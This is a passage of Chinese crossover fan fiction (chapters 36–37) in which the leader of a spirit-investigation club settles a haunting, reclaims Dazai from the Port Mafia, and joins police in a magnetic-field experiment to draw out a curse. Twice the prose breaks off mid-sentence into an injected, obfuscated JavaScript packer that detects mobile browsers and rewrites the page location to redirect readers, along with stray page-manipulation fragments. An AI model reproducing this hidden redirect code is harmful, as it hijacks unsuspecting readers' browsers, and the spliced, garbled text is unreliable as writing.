夏楠继续说道,“回归正题,只要将土地全部翻一遍,把翻出来的、看起来古怪的东西,都……”他本来想说烧一下,但转念想到山本的‘自/焚’,又换了种说法,“都用……嗯……神社里,那种祭拜前净手的水,或者教堂里的圣水,冲洗一下,”顿了顿,“如果不放心,就多泡几天,之后再烧掉。” “这样,问题就解决了。” “至于到底是什么人在做这种害人的事情,”夏楠对着迹部景吾笑了笑,“报警考虑一下?” 说完这句话,不等迹部景吾回应,夏楠伸了个懒腰,站了起来。 宇髄天元见状,立刻停止录像,将手机重新丢回给夏楠,脸色有点臭。 夏楠接住手机,对着迹部景吾,“迹部先生的委托已经完成,后续的款项,记得在三天内打进指定账户。” 迹部景吾挑眉,“你给的方法真的有效?” 夏楠想了想,回答,“如果没有效果,迹部先生可以曝光我(迹部景吾:……),”他说着,走到了装晕的‘厨师’身边,“至于这个人,还请迹部先生暂时把他借给我们。” 36.三十六 “你怎么在身上带这种东西。” 宇髄天元凑了过来,他弯腰看着夏楠的手,试图看清夏楠到底在对什么东西说话。 “你说这个?”夏楠示意手里的卫生纸人,“算是习惯?” 他身上还有别的,比如千寻的蜘蛛窃听,太宰治的‘路边货’(千寻语)监听,吉川惠子的皮筋。两个监听是那两个自己放过来的,吉川惠子的皮筋是夏楠某次吃饭总吃到头发后吉川惠子给的。倒是织田,这个人干净到没有任何外露的常用物品,实在难从他身上抠些什么出来。 总不能是枪吧,夏楠又不用枪。 “这是用过的吧?” “是。” 得到肯定的答复,宇髄天元看夏楠的目光有点变质。 “从今天起,你就叫汤圆,”夏楠仿佛感觉不到宇髄天元古怪的凝视,他将餐巾纸小人拿到汤圆旁边,“去找这个人,保护他。” 可以吞噬‘灾厄’的小家伙。 虽然吞的不多,但在应对一些小打小闹的地方,能顶点用处。 汤圆软塌塌的向着餐巾纸人伸出自己的揪揪手。 夏楠见状,放开了汤圆。白团子恢复正常,能控制自己了,它有些懵逼的在空中转了几圈,左探探,右探探。它的知能似乎不足以支撑比较深层的思考,它在奇怪为什么自己的契约人刚刚还躺在地上,现在就已经蹲在旁边了。 它没有犹豫太久,或者说,它的知能无法支撑它完成更复杂的思考。躺在地上的厨师被它忽略了,契约人叫它去找‘这个人’。 白团子飘到纸人旁边,做了个拟人化的嗅闻的动作,接着,忽然张开大嘴,一口将纸人吞了进去。 早已习惯了类似场景的夏楠对白团子的前后反差没什么太大反应。 汤圆打了个无声的饱嗝,它飘到夏楠身边,亲昵又讨好的贴了贴他的脸颊。 “去吧。” 夏楠说道。 于是白团子又飘起来,飞出窗口,很快,就不见了。 夏楠的视线重新转回厨师身上,被不知名手段直接切断了与自己式神之间联系的人,居然还能忍着不动。对失去无动于衷,要么是因为这种失去对他来说无关痛痒,要么,是为了之后获得更多,忍一时之痛。 “你是哪种?” 夏楠没头没尾的问了一句,接着,也不等厨师回答,重新站了起来。他的视线越……绕过站在自己身后,很细心的为自己挡住了许多视线的宇髄天元,看向不远处、从来到这里以后一直致力于把自己变成背景板的安室透。 “安室先生……” 安室透的目光聚焦在夏楠身上,眼前的青年,他身上的那点稀薄的危险感再度消失,现在的他,就像是一个无害的年轻人。 “安室先生,你为什么在这里?” 迹部景吾已经对自己起了疑心,宇髄天元从一开始就一直在警戒他的一举一动——安室透想道——又是一个台阶,继之前提醒他注意自己人设之后的,又一个台阶。 他到底知道了多少?仅凭一眼,只是看一眼,真的能获得这么多信息么? 安室透想起了松田阵平和荻原研二,紧接着,想到了探灵社里的那名电脑高手。 …… 该不会消息就是从他们俩那里走漏的吧…… 安室透叹了口气,“好吧,我坦白,我其实是个侦探,虽然只是三流,接触迹部先生,是为了调查樱井集团名下的一个生物医药研究所。” “我的委托人,他的父母原本是该研究所的研究员,至于委托内容……”安室透耸了耸肩,“……很抱歉,虽然我只是个三流的侦探,但是,该有的行业操守也是有的。” 樱井? 好耳熟的名字。 什么来着…… 夏楠回忆了一下,“……前总理大臣?” “哦?”安室透露出惊讶的神情,“夏目社长认识他?” “不认识,”夏楠否定。 “前总理大臣只是樱井家的一名成员,”自从听到这个名字,迹部景吾的脑子里已经迅速过了一遍自家和樱井家的各种大小冲突,“他们不会亲自出手,”了解这些财阀世家作风的迹部景吾说道,“和迹部交恶、至少是明面上的交恶,是不明智的行为。” 提起这个话题的夏楠已经不再关注这件事了,他看向宇髄天元,眨了一下眼睛。 旁听大家族之间尔虞我诈来回暗搓搓折腾正在兴头上的宇髄天元:? 夏楠靠近他,悄悄耳语,“一会儿,帮我看住安室透,别让他跑了。” 宇髄天元:??? —————— …… “广津先生,麻烦给他一件衣服。” “好的。” 织田作之助站在森鸥外小医馆的门口,与带着一队人赶来的太宰治对视。 没穿上衣版。 太宰治想到了夏楠。 他掏出手机,赶在黑蜥蜴的人将外套递给织田作之助之前,给织田来了一个全身特写。 “你怎么在这里。” “来带你回去。” 太宰治愣了一下,罕见的,他没有跟上织田作之助的脑回路。 织田作之助看到太宰的表情,“很少见你会露出这样的神情呢,太宰。” 太宰治:…… 织田作之助解释了一下,“夏目让我看着你,如果没能带你回去,他会不高兴。” 至少会表现的不高兴,而不高兴的夏目,会弄出各种各样的小麻烦。虽然那些充满生活气息的小麻烦织田作之助其实并不反感,但,如果一定要回去的话,果然还是要先完成自己的工作吧。 太宰治笑了一声,“夏目现在不在探灵社。” “啊,猜到了。” 织田作之助认真的看着太宰治,“太宰,你是个很温柔的人,我是这么认为的,”他说着,像是劝诫,更像阐述定论,“拥有这样特制的人,不适合黑手党。” “这句话,老夫可不能当做没听见啊,”广津柳浪忽然开口,“太宰先生是boss的弟子,是boss最信赖的人。boss是港/黑的首领,那么港/黑,自然是太宰先生的归处。” “当着我们面挖人,探灵社的手,未免伸的太长了些。” 织田作之助否认,“只是我的个人行为。” “阁下的意思是,刚才的挑衅,是个人行为?” “也算不上是挑衅吧,只是接同事回去而已。” 广津柳浪笑了笑,“既然如此,互不侵犯条约,在现在这个情况下,也是不生效的,我是否可以这么理解?” 织田作之助一愣,他并不知道夏楠与港/黑达成的协议。 “好了,到此为止。” 太宰治忽然开口打断了两人之间的对话,他看向织田作之助,“你为什么会在这里?” “因为在想,你或许会过来。” 所以在回去之前,绕过来看看。 太宰治:…… 他总是拿织田作之助没有办法,一直都是。 织田作之助看了一会儿太宰治,“你不打算跟我离开。” …… “是。” 织田作之助叹了口气,“夏目会生气的。” 天色已经开始翻白,太阳马上就要升起,新的一天,很快就会开始。 织田作之助掏出了手机。 太宰治:…… 他微微鼓起脸颊。 “织田作,你和夏目学坏了。” “是吗,”织田作之助说道,“我不这么认为,”他拿着手机,“和我走,或者联系夏目。” 织田作之助看起来不会让步的样子,太宰治正在犹豫。最近,他总是犹豫。 就在这时,广津柳浪的电话响了起来。 “失礼。” 广津柳浪接通电话,恭敬的喊了一声boss,过了一会儿,他挂断了电话。 “有人袭击了首领办公室,太宰先生,boss喊您立刻回去,”广津柳浪说道,“这里的调查工作由我们负责,请不用担心。” 织田作之助上前一步,他点开了公放。 ——小织,怎么了? 是夏目的声音。 太宰治:…… 他想扶额。 为什么,不管是什么事,一但遇到夏目,就会完全失控。如果夏目不想配合,他随时都能做到拆台。 明明之前已经默认了放他去做他要做的事。 “我找到了太宰,他不愿意和我回去。” 织田作之助说道。 就在这个时候,广津柳浪的电话再次响了起来。老爷子看了眼来电显示,表情有一瞬间微妙。他接通了电话,过了两秒,也点开了公放。 “太宰君,”森鸥外的声音从电话内传出,“‘羊’的首领中原君正在港/黑做客,回来吧,我需要你。” ——哦,是这么个意思。 夏楠的声音紧接着响起,织田作之助面无表情的举着手机,仿佛一个大型手机支架。 森鸥外出声,“夏目社长,别来无恙。” 夏楠仿佛没听到他说话一样。 ——小织,怎么那么死板,他不想走,我们可以抢呀。 “港/黑的人也在,如果不用异能,带着太宰,我很难脱身。”织田作之助回答。 ——这样啊,那你能抓住他么? “只是抓住的话,没问题。” ——那就上吧。 森鸥外的声音再次传出,“广津先生,阻止他!” 织田作之助已经冲了过来。 【天衣无缝】 广津柳浪试图触碰织田作之助的手被躲开,黑蜥蜴的其他队员纷纷上前阻拦,但没有用。织田作之助就像开了上帝视角一样,丝滑的穿过人群,迎着太宰治复杂的目光,抓住了对方的手臂。 数把武器对准了织田作之助,广津柳浪皱着眉头上前。 ——抓到了么? 夏目那轻飘飘的话语声从织田作之助手中的手机里传了出来。 “抓到了,”织田作之助回答,“现在怎么做?” ——他们应该有很多人吧,不害怕么? 织田作之助忽然笑了,是那种很放松的笑,“不怕,”他说,“夏目,我相信你。” 太宰治愣住了。 织田作之助说话的时候,正正看着他的双眼,那双眼睛里盛满了笑意,“我们的社长,我们相信你。” ——织田作,去找我们的社长,去求助。 太宰治张了张嘴。 广津柳浪的手已经搭在了织田作之助的肩头,其余黑蜥蜴的成员见状,纷纷离远了一点。 “我会控制力道,不让你受太大的伤害。”广津柳浪说着,发动了自己的异能。 【落椿】 …… “太宰先生?” 太宰治抬起的手,搭在广津柳浪的胳膊上,他微微垂着头,神色莫名。 【人间失格】 一个能够通过碰触,让所有异能力失效的异能。 通过监听设备全程旁听的森鸥外判断出局势,出声,“太宰君,你要背叛我么?” ——森先生,你是在威胁我的社员么? “如果我没记错的话,太宰君并不是你的社员,夏目社长。” ——你记错了。 森鸥外的声音停顿了一下。 “或许你还不知道,太宰君是我派去探灵社收集信息的。” 夏楠并不在意这些细节,甚至,他还能跟森鸥外玩排比。 ——或许你还不知道,阿治是我亲手捡进门的。 黑蜥蜴众人:…… 要不要上前,现在是不是时候,会不会打断首领和别人的对话。 信息量好大的样子,是他们能听的吗? 就在这时,织田作之助突然一个后踢,逼退了近在咫尺的广津柳浪,“夏目,接下来怎么做。” ——接下来…… 太宰治终于出声了,这位被两大势力……好吧,探灵社的体量还远远称不上大。总之,作为被争抢的那个人,他终于动了。 先是一声长长的叹息,紧接着,是太宰治的声音。 “算了,暂时就这样吧。” 太宰治提高声音,“抱歉,森先生,关于你之前的问题……” 森鸥外预感到不妙,开口打断,“太宰君……” 然而太宰治不吃他的打断,“……我拒绝。” 森鸥外:…… 夏楠笑了一声,此情此景,听起来仿佛嘲笑。 ——小织,抓紧太宰。 织田作之助不明所以,但抓着太宰治的手还是紧了紧。 被抓疼的太宰治:…… 他看了一眼广津柳浪,又收回视线——不行,现在索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742738|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要太刻意。 夏楠的声音响起,他接上了之前自己被打断的话。 ——接下来,带你们看看我的世界。 ? 什么意思? 太宰治忽然看向自己的口袋,那里面,有连接着夏目那边的…… —————— 港口黑手党顶层,首领办公室。 不久前刚刚经历了一场袭击的办公室内一片狼藉,落地玻璃碎了一地,办公桌烂成了两半,地摊上全是玻璃渣,墙壁上是成片的弹孔,头顶的吊灯掉在地上,上面的水晶饰物七零八落。 森欧外身上沾了些灰尘,他站在碎裂的窗边,手里举着听筒,电话线很神奇的从不久前的冲突中幸存了下来。造型古朴的电话被一名身穿干练职业套装的女性端在手里,女性正站在身后外身侧。 是夏楠之前见过的,被森鸥外召唤出来的护士服女士。 使好好的首领办公室变成这副模样的罪魁祸首,中原中也,正抱臂靠在一根完好的承重柱上。他看了一眼森鸥外的背影,这个人说‘羊’的事他并不知情,还说已经派遣了部下去调查。 一通利弊分析,中原中也姑且信了。 他在等,等森鸥外的分析,等更进一步的线索。只是森鸥外突然打起电话,中断了他们之间的交流。 太宰君,他那个弟子,叫太宰治的人——中原中也想道——这个人没有失踪,他加入港/黑了? 他并不能完整的听到对话全貌,只能从森鸥外的只言片语中猜测。 加入又背叛? 中原中也默默的想——之后回擂钵街,如果遇到帮自己的那个家伙,和他说一声吧。 —————— “好久不见,夏目。” 豪华房车外,一队便衣警察被黑衣保镖们拦在进出口,更远的地方,还有低调的车辆源源不断的赶来。施工地那还挺大的停车场,挤满了警察们的座驾。 “好久不见,萩原警官。” 夏楠和其中一名警官打招呼,他看到了一张熟面孔,是之前在佐伯宅有过一面之缘的警部。 “萩原就可以,或者,如果你愿意的话,也可以叫我hagi。”萩原研二对着夏楠眨了眨眼。 与夏楠一起,听到外面动静以后出来的迹部景吾眯了眯眼,开口,“夏目社长,解释一下?” 夏楠于是学着萩原研二的样子,对着警部眨了眨眼。 警部:…… 他认命的上前交涉。 这片施工地被临时征用了,对外的解释就是这样,并且手续齐全,警方明显是有备而来。现场唯一一方的‘外’、施工地实际拥有方的决策人之一,迹部景吾看了眼在一边毫不见外的找了把椅子瘫在那里的夏楠,又看了眼陆续从车辆上搬出各种器材的警察们,沉默。 “十分抱歉,因为一些原因,只是临时征用,不会对这里造成什么危害,”警部说着,“我们可以保证。” “还请配合我们的工作。” 迹部景吾倒是没有阻止的意思,他只是说,“我方有知情权。” 一般情况下,当然有知情权,但现在不是一般情况。警部只是重复,“请配合我们的工作。” 迹部景吾挑眉,他快被这种一点掩饰都没有的过河拆桥行为逗笑了。这群人明显不是一般的警察,不好起太大的冲突。他干脆走到夏楠身边,在警部的注视下,随手拉了一把椅子,坐好。 警部:…… 夏楠懒洋洋的瞥过来一眼,他好像一只耗尽了电池的猫,在工作的间隙见缝插针的躺平,“你真的要知情权?” “为什么不?” 夏楠仔细看了他一会儿,笑了,“行啊,”他说着,对跟过来想要继续劝说的警部眨了眨眼,“知道契约么?” “什么契约?” “就是一种……你可以这么理解,一种独特的协议,或者合同。” 迹部景吾了然,“保密协议。” “唔,”夏楠随意应了一下,“只能你。” 管家闻言立刻出声,“少爷……” 迹部景吾已经答应下来,“可以。” 另一边,被示意嫌疑人所在的荻原研二带着人走进了房车,他来到二楼。映入眼帘的先是一个高大健壮的背影,紧接着,背影转了过来。透过那个人转动时让出的空隙,他看到了一个十分熟悉的身影。 那是—— “什么人?” 安室透的心跳在一瞬间加快,他抢在萩原研二之前开口。他算是知道眼前这个家伙为什么一直拦着不让他下楼了,他是不是还得感谢夏目给他们的意外重逢贴心的准备了相对独立的空间? 真是…… 萩原研二很快反应过来。 不想暴露身份? 零这家伙,消失那么久,果然去做了卧底。 “警察,”萩员研二立刻调整好状态,他走上前,对着两人亮了一下自己的证件,“我们来缉拿嫌疑人。” 安室透暗自松了口气,他让开一点,先指了指沙发边的两人,又指了指自己身后,“就是他们。” 宇髄天元狐疑的看了一眼安室透,他当然捕捉到了安室透那一瞬间加速的心跳,只是以为对方是因为看到警察紧张。 夏目让他看住这个人。 这家伙,果然有问题——宇髄天元目光犀利。 某种程度上也算是真相了。 被盯的安室透:…… 随着警方架着三名嫌疑犯下楼,安室透终于也能跟着一起出去了。 结果刚一出门—— “hagi,嫌犯带出来了?” 刚刚到的松田阵平站在门口,视线随意的看了过来。 松田阵平:…… 安室透:…… 萩原研二撞了下松田阵平的胳膊,“就是他们,三个人,数目也对,和警部说一声,先分几个小队把人押回局里。” 松田阵平:“哦……嗯……好。” 他捕捉到了萩原研二隐晦的信息,也想明白了为什么自己刚到夏目就赶他过来。 原来是这么回事。 呵呵。 卧底大佬。 呵呵。 安室透顽强的保持速度走出房车,看到了举着不知道从哪里来……哦,好多设备,知道哪里来的了。总之,他看到了举着摄像对着他们库库拍的夏楠,见他看自己,还懒洋洋的挥了挥手。 37.三十七 迹部景吾的人全都被清出了场外,除了他自己,就连他的管家,都被礼貌的送了出去。到这个时候,他才隐约明白夏楠那句‘只有你’指的不是信息给予,而是直接参与。 完全没想到会被涉险、本来还在等人告诉他一些内幕,甚至都做好了只能得知一点皮毛消息的准备的迹部家唯一继承人迹部景吾:…… 松田阵平和荻原研二最近经常干清场的事,信手拈来,他们倒是有意让安室透也一块儿干活,可这个人给自己安了个完全找不到理由留下的人设,无奈,只能一块儿被清出去。 安室透最后看了一眼夏楠的侧脸,对方察觉到注视,转过来看他。 “夏目社长,再会。” 夏楠嗯了一声,说道,“我社还招兼职,招厨师,没有薪酬的那种。” 安室透:…… 他微笑,“如果有合适的人,我会帮你留意的。” 施工场地很大,夏楠重点指名要的设备都是从各个高校实验室里借出来的,六组永磁体,以及十二架已经做好校正的抗磁抗干扰热像仪。场地内的大小施工器械和各种能够被移动的金属物品都被转移到了非常边缘的位置,警察们呼哧呼哧,动作很快的清理出一块三百平左右的空地。 空地的边缘架设了一圈热像仪,永磁体阵列被均匀布置在空地内,几名明显不是警察的人正在做最后的设备调试。 监工夏楠看到了一张有些脸熟的面孔,脸熟的面孔偶尔也会看他,只是因为事务繁忙,频率并不高。 谁来着? 夏楠想了一会儿,松田阵平见他这副模样,跟着他的视线看过去,“那是……铃木小姐?” …… “谁?” “就是在……额……”松田阵平看了眼夏楠身边的迹部景吾,自从管家走了以后,这位迹部少爷几乎一直和夏楠待在一起,两人之前还在玩谁的单手盲打速度更快这种游戏,“……你救过她。” 为了不暴露之前的案件细节,松田阵平只能言简意赅。 夏楠回忆了一下,他救过很多人,直接的,间接的,可要说来这个世界以后,还能被松田记住的…… “……哦!” 是她啊,那位被丢在一堆烤干的尸骨里的女士。 天已经快亮了。 那三名嫌疑人最终并没有现在就被送走,因为夏楠说他们还有用。时间紧迫,警部亲自带人审问了其中两名工人,最终,在两人指认的几个地点挖出了一些木板和包裹在布里的黑色泥块。 “他们只知道这么多,”警部将东西拿来的时候,对夏楠说,“是要埋在里面么?” “放进去就可以了。” 说话间,最后一批车辆到了。前前后后,近二十辆大大小小的车,还好这里是郊区。 小岛田峪四郎和井下朋花,跟着一队警察,一起走了过来。 井下朋花一眼认出了迹部景吾,她有些惊讶,但没有急着打招呼。她只是在别人举办的宴会上见过这位迹部财团的继承人,严格来说,两人并非相互认识。 “夏目社长。” 井下朋花开口和认识的人打了招呼。 夏目点了下头,他在看他们的后方。 一张担架,担架上躺着一个人,是山本。坂口安吾跟在担架旁边,没有再举着那个摄像(没电了),他看到夏目,下意识的推了下眼镜。 山本已经换了一身新的病号服,不知道是哪位勇士的杰作。他的手里还抓着松田阵平的手机,闭着眼躺在担架上,呼吸十分安详,半点也看不出属于鬼的狰狞。 宇髄天元走了过来,他凉凉的看了眼担架上的山本,没做评价,只是对夏楠说,“他们一会儿就到。” 夏楠再次嗯了一声。 过了一会儿,有人来通知——设备已经准备就绪了。 —————— “请诸位将身上的所有金属制品全都取出来,装进篮子里。” 一位年长的女性对面前站成一排的人说道,“为了实验数据不会受到过多干扰,请配合。” 一排人,囊括了所有曾经听过此次委托相关内容的人员——警部、委托人井下朋花与小岛田峪四郎、躺在担架上的山本、宇髄天元、坂口安吾。以及一名编外成员——迹部景吾。 当然,还有夏楠。 现场充满了科研的气息,无论是井然有序的布置,还是看起来十分专业的协助人员。再加上已经逐渐翻白的天空,和虽然称不上人山人海但多少能够的着熙熙攘攘的来往人群,让原本大概或许应该是恐怖的氛围,完全走向了另一个轨道。 众人依次将身上的金属物品放入贴了编号的篮子中,铃木小姐跟在年长女性的身后,为每个人又重新探测了一遍全身。 迹部景吾无奈的摘掉了皮带,脱掉了衬衣(他的衬衣与外套上有金属线锈花)与外套,他倒是没什么不好意思的羞耻感,肌肉分布均匀的上半身裸露在晨间的微风里,眉毛都没动一下。 宇髄天元被迫现场卸下了自己缤纷的指甲油,同样的,还有皮带。 男士们都在卸皮带,唯一的女性在卸妆,以及一切首饰,哦,对了,她还得脱鞋,好在衣服没什么问题。 最后只剩夏楠。 他穿的真的很简单,简单的白衬衫,简单的裤子,因为是略微带了一点收腰的裤子,他甚至没有皮带需要解。干净的脖颈与手腕,干净的的着装。就在众人以为他只需要放个手机的时候,夏楠动了。 先是衬衫的纽扣,明明看起来很正常的纽扣,被夏楠随意拨弄两下,拨弄出一只斑纹鲜艳的蜘蛛,光看外表就感觉很毒的样子。 年长的女士被吓了一跳,后退半步 夏楠解释了一下,“只是造型独特的监听。”他说着,将蜘蛛小心的放进了属于自己的那个篮子里。 众人:…… 接着,他拨弄了一下自己袖口的扣子,梅开二度,另一只斑纹艳丽的蜘蛛出现了。 众人:………… 夏楠继续小心的安置好蜘蛛,又抬起手,摸了摸自己的后衣领。这一次,终于不是蜘蛛,那是一个黑色的圆形物体,很小,联想之前的蜘蛛监听,不难想象这个东西到底有什么作用。 取出圆形物体之后,夏楠的手并没有放下来,他的手指微动——蜘蛛虽迟但到。 众人:……………… 在这之后,夏楠又从裤子的收褶里取出小黑+1,蜘蛛+1,自己的口袋里取出小黑+1,蜘蛛+1……终于,在所有人眼神微死的时候,夏楠将手里的手机放进篮子,对着铃木小姐的方向,微微张开了双手。 众人:…………………… 总算完了。 “你是什么监听器回收商吗?”宇髄天元忍不住吐槽,“全身上下都是监听,你到底是有什么古怪的癖好,真是太不华丽了。” 夏楠配合着铃木小姐探测的动作转身,心情颇好的说,“我的社员们比较不放心我。” 坂口安吾疯狂推眼镜,推的眼镜都反光了,“不,正常的社员都不会往自己社长身上放这么多监听。” “嗯?”夏楠看向他,“安吾君如果想放的话,我也不会拒绝。” 异能特务科明牌卧底坂口安吾:…… 虽然但是,可耻的心动了。 宇髄天元看向坂口安吾的视线也开始不对劲起来——你们探灵社,怪怪的。 简短但节目效果拔群的环节终于结束,所有人换上了事先准备好的抗磁防护服。松田阵平与萩原研二待在稍远处的抗磁抗辐射帐篷里,里面是临时搭建好的操控台。 “走吧。” 场地的中央,是挖出来的那些木板与黑色泥块,沉睡中的山本同样被套上了防护服,在宇髄天元的看管下,被摆在了木板与黑色泥块旁边。警部与坂口安吾架着顽强装晕的厨师,坂口安吾察觉到架着的人肢体反馈来的信息不对,他出声,“社长。” 夏楠看了他一眼,又看了看同样察觉到不对,已经停下脚步的警部,想了想,走了过去。 “走吧,我就在后面。” 这是一句威胁。 坂口安吾想道——手下的人明显比之前更紧绷。 也不知道这人之前经历了什么?不过……无论这个装晕的家伙有什么盘算,在夏目这里,恐怕都得落空。 众人终于全部聚集在场地中央。 远处,除了两支小队留守帐篷内,多数警员已经全部撤出了空地的范围,只有零星协助人员还留在实验场地内,准备做最后的实验前数据反馈。 帐篷内,被委以重任的松田阵平和荻原研二一人举着一个摄像,对着临时架设的操控台拍拍。 负责人女士开口。 “场地实时数据记录,高斯计校准已确定,执行。” “手持设备固定高度统一1.2米,每个点位人员,报数据。” 对讲机内不停响起汇报数据的声音,有人在旁边迅速记录。松田阵平凑过去看了一眼,满屏不是很认识的东西,眼晕,他默默移开视线,继续做无情的卡麦拉曼。 在一连串不明觉厉的对话之后,负责人女士开口,“开始吧。” 场地内的协助人员冲着他们点了点头,接着,将手里的手持高斯计交给参与实验的人,自己退了出去。 与此同时,夏楠动了。 他的计划很简单,利用在这里搞事的人初步建立起来的微弱联系,将那团不知道缩在哪里的‘怨’,拉过来。 夏楠总是闭着眼走进界线交融的区域,只是为了在还没有调整好自身状态的情况下,不过分影响到对方的稳定性。毕竟,他还是更中意人类的食物,而且,委托太容易解决,也显不出他们探灵社的能耐不是。 他的……嗯,姑且称为磁场,有点不一样,或者说,像他这样的人,他们的磁场,在长久时光的锤炼与塑造中,具有了一些不同于许多、许多人的特性。其中之一,就是属于‘咒’的特性。 真正活着的诅咒。 这么说好像有点可怕啊……明明只是本门传承,唉—— 这一次,夏楠并没有闭眼。他放任了自己一直在刻意控制的、对周围空间的侵蚀,放任了早已与界线之外的‘反秩序’成为‘同类’的那部分自己,区别于只是空间参数与主世界不同的各类衍生世界的、更加外围的那部分秩序混乱、逻辑不成系统的世界,是咒怨成型后常常会形成的碎片世界所存在的世界。 他变了,变的几乎不像人。 那种黏稠的压迫感又来了,甚至,比之前经历的更加沉重,更加令人窒息。宇髄天元站在山本的身边,他的体质已经是这群人里最好的那个了,就算如此,他的眼前也出现了重影。 夏目。 他看向了夏目的侧影。 青年的身影包裹在厚厚的防护服里,他只是站在那名厨师的身后,没有多余的动作,只是站着。 坂口安吾感觉身边的空间已经开始扭曲,不知道是不是错觉,他有点恶心。头晕,耳鸣,各种不适感接踵而来,他的腿在打晃。好在,有人已经摔倒在地,他不是最弱的那个,一会儿就算是真的撑不住,也不至于在之后被长官拿来取笑。 什么叫苦中作乐。 倒地的是井下朋花与小岛田,两人也顾不上别的了,相互靠在一起,抬手捂住了嘴。 除了宇髄天元,没人注意到,引起这一切的,其实是夏楠。 重影更多了。 不知道是谁,发出了干呕的声音。 “再坚持一下,”夏楠的声音响起,“这是必要的流程。”他几乎不受任何影响,所有人的站姿或多或少都有变形,唯独他,还轻轻松松的站在原地,他的手不知道什么时候搭在了前方厨师的肩头,厨师整个人抖的不成样子,却奇怪的依旧能保持站立。 “很抱歉,有点不适应这里的情况,”夏楠语调轻快的说道,“马上就好,我保证。” 不适应什么? 马上就好? ……这种折磨,还是快点结束吧。 防护服真的有作用吗?也太难受了。 迹部景吾现在就是后悔……不,大爷的华丽字典里就没有后悔两个字……也没有呕吐这两个字!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742739|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他双手环胸,站的笔直。 另一边,帐篷内。 “温度持续下降。”有协助人员实时报数字的声音。 “还好夏目社长还记得反馈,”负责观测的人一边观察夏楠搭在厨师肩头的手的手势,一边记录,一边吐槽,“其他人都是怎么了?不就是温度降低了么?怎么一个个都面条一样软趴趴的,连数据反馈都做不好。” “所以才说外行人……” 剩下的话隐没在口齿间,听不清了。 “高斯计读数持续上升中,即将达到预设值,都准备好。” 松田阵平和萩原研二对视一眼,他们也看到了红外热成像画面内的情况,但……他们并不认为是其他人真的忘记了数据反馈。鬼杀队的人要压住已经开始挣扎的山本,暂且不论,警部是无论如何都不会忘的。 那,又是因为什么呢? ——利用沾染‘怨’的人和物品,通过一定方式,尽量将怨吸引到这片已经具备一定资质的土地,然后,消除它。 一定方式。 问题,大概率出在这个方式上。 温度下降的中心围绕在夏目、距离他不远的山本、地上的那堆木板与黑泥块,以及那名厨师周围。其他人身上的温度,相对来说都比较高。 直觉的,他们认为是夏目做了什么。类似的实验不是没有人做过,但结果都不尽如人意。上面同意为这次的行动提供尽可能的支持,很大一部分原因是因为——夏目在这里。 那个将神秘侧拉进所有人视野,以一种能够被大众所理解的逻辑来诠释它的人。 同样的,以前不是没有人做过这种事,但都不够详尽,不成系统,只是用现象解释现象。 夏目不一样,夏目是在剖析现象。 警视厅内部已经有整理成册的《对神秘测分析及干涉预期》这种东西了。警部在来时的路上也曾说过,或许这一次,他们能真正发现将主动权掌握在自己手中的途径。 近几年来,霓虹的灵异事件越来越多,受害人数呈倍速增长,没人知道到底发生了什么。久远的传承与现代社会之间的壁垒无法打破,传承当中的人与普通人之间又存在着十分明显的个体差异,仅仅只靠传承与灵能力者,根本无法应对层出不穷的灵异事件。自从他们进入特殊对策部以来,每天都忙的脚不沾地。 ——这个世界,有着无数的普通人。我们现在要做的,必须去做的,是用普通人的视角,普通人的方式,让神秘侧不再神秘。 ——松田,如果成功,我们将见证历史。 很难想象,这些话是由一位曾经是和尚的警部说出来的,他之前还教过松田与萩原自保的咒语呢。 思绪翻转间,松田阵平的视线不经意瞥过放在一边的那一堆收纳物品的篮子…… ——等等,那是夏目的篮子吧,里面一堆监听器,旁边那个,不是我的手机么? 手机不是该在山本手里么?夏目什么时候拿到手的? 松田阵平后知后觉的看向那几乎堆满了帐篷一侧的大大小小各种屏幕,其中好多还是他装上去的。 ——那家伙,把手机带进去了?! ——不是,为什么啊?! “接近预设值,准备启动装置。”主管女士微微靠近屏幕,说道,“倒计时三秒。” “三。” “二。” “一。” “目标是将场地内读数降低至环境正常水平……等等,他在干什么?!” “实验暂停!” “他怎么还有手机?!” 松田阵平:…… 啊哈哈,好问题,他也想知道。 监控屏幕内,夏楠掏出了手机,似乎是在接电话。 就……离谱本谱。 萩原研二忽然出声,“……等一下,实验继续……” 主管女性被夏楠这一手弄的头都大了,“什么继续,这样很危险的知道吗?”她不自觉提高音量,“来个人,谁,穿上防护服,去把他手里那该死的手机带出来!” 萩原研二赶忙说道,“别急,这位女士,您看夏目的手,是摩斯密码。” 与之前约定好的简单手势不同,这次,夏楠的手正在那抖成筛糠的厨师肩头断断续续的点击。 萩原研二凑近,“他说,让我们继续,不用在意他……” 翻译完,萩原研二自己也有些无语。 “不用在意?!”主管女士的声音更高了,“他以为自己在干什么?!影响到数据都是小事,场地安全系数不足,各种隐患,一点点误差都可能造成不可挽回的后果,他是不要命了吗!!!” “额……”被吼的萩原研二求助的看向松田阵平。 松田阵平开口,“实验继续,”他看向一脸‘你们两个是不是也疯了’的主管女士,“那是夏目,是这次实验能够成型的核心,我想他应该心里有数。” 主管女士:…… 她开口,“这个解释无法说服我。” 其实我也不是很能说服我自己,谁知道夏目那家伙又在玩些什么?说不定就是想拍照留念? 松田阵平内心吐槽,但嘴上还是继续给夏楠圆场,“或许您曾看过探灵社的视频?” 主管女士:“……你想说什么?” 